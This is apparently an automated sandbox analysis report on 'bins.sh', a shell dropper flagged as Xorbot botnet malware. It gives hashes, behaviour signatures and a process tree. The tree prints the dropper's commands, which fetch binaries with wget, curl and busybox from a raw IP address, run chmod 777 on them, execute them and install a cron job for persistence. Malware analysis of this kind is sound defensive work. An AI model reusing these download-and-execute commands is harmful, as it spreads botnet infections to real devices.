Analysis
-
max time kernel
150s -
max time network
109s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
02/12/2024, 03:21
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
76cb499bf206bd1606439aa4cb42c17f
-
SHA1
583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4
-
SHA256
c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab
-
SHA512
fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24
-
SSDEEP
96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c
Malware Config
Signatures
-
resource yara_rule behavioral4/files/fstream-1.dat family_xorbot behavioral4/files/fstream-3.dat family_xorbot behavioral4/files/fstream-7.dat family_xorbot behavioral4/files/fstream-14.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 817 chmod 831 chmod 741 chmod 748 chmod 767 chmod 800 chmod -
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419 742 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419 /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx 749 UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV 768 DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5 802 KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5 /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW 818 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW /tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07 832 bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07 -
Renames itself 1 IoCs
pid Process 819 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.j3Pq9l crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/795/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/825/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/2/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/374/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/850/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/856/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/845/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/863/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/24/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/705/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/847/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/854/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/14/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/831/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/69/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/842/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/864/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/836/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/859/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/filesystems crontab File opened for reading /proc/16/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/707/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/819/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/166/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/372/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/823/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/840/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/20/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/37/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/80/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/849/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/866/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/501/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/509/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/843/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/860/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/21/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/77/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/78/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/115/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/151/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/393/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/475/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/852/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/72/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/337/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/830/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/5/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/341/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/686/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/827/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/9/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/343/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/838/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/862/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/36/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/812/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/4/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/11/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW File opened for reading /proc/822/cmdline f806AmcB1GxbUH8krpqFZajtH5iRfxLflW -
Writes file to tmp directory 16 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx busybox File opened for modification /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5 busybox File opened for modification /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW curl File opened for modification /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx wget File opened for modification /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx curl File opened for modification /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV curl File opened for modification /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5 wget File opened for modification /tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07 busybox File opened for modification /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419 curl File opened for modification /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV busybox File opened for modification /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5 curl File opened for modification /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419 wget File opened for modification /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV wget File opened for modification /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW wget File opened for modification /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW busybox File opened for modification /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419 busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:708
-
/bin/rm/bin/rm bins.sh2⤵PID:716
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Writes file to tmp directory
PID:718
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Reads runtime system information
- Writes file to tmp directory
PID:732
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Writes file to tmp directory
PID:739
-
-
/bin/chmodchmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Executes dropped EXE
PID:742
-
-
/bin/rmrm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵PID:744
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Writes file to tmp directory
PID:745
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Writes file to tmp directory
PID:746
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Writes file to tmp directory
PID:747
-
-
/bin/chmodchmod 777 UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- File and Directory Permissions Modification
PID:748
-
-
/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx./UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Executes dropped EXE
PID:749
-
-
/bin/rmrm UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵PID:751
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Writes file to tmp directory
PID:752
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:753
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Writes file to tmp directory
PID:763
-
-
/bin/chmodchmod 777 DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- File and Directory Permissions Modification
PID:767
-
-
/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV./DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Executes dropped EXE
PID:768
-
-
/bin/rmrm DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵PID:772
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- Writes file to tmp directory
PID:773
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:782
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- Writes file to tmp directory
PID:794
-
-
/bin/chmodchmod 777 KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- File and Directory Permissions Modification
PID:800
-
-
/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5./KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- Executes dropped EXE
PID:802
-
-
/bin/rmrm KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵PID:806
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- Writes file to tmp directory
PID:807
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:814
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- Writes file to tmp directory
PID:816
-
-
/bin/chmodchmod 777 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- File and Directory Permissions Modification
PID:817
-
-
/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW./f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:818 -
/bin/shsh -c "crontab -l"3⤵PID:820
-
/usr/bin/crontabcrontab -l4⤵PID:821
-
-
-
/bin/shsh -c "crontab -"3⤵PID:822
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:823
-
-
-
-
/bin/rmrm f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵PID:825
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵PID:828
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵PID:829
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵
- Writes file to tmp directory
PID:830
-
-
/bin/chmodchmod 777 bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵
- File and Directory Permissions Modification
PID:831
-
-
/tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07./bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵
- Executes dropped EXE
PID:832
-
-
/bin/rmrm bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵PID:834
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF62⤵PID:835
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF62⤵PID:836
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD59e3e355e182c1e59581814b7bda48410
SHA1601d16383c5d34d5a5b0a5c3c025dccde37e0bf6
SHA25663989abe2529ca0340e06df68f5f17558fae246197b987e32ba5291dab48484a
SHA5126fd89ef46295fd6239060b3bdb5ff65a5aaa763ae72eeabc34a40b1eff22e74d4216797b9d0b02784ff2e829e46538d37693f3c47d55ad7464ad3284f63ee04b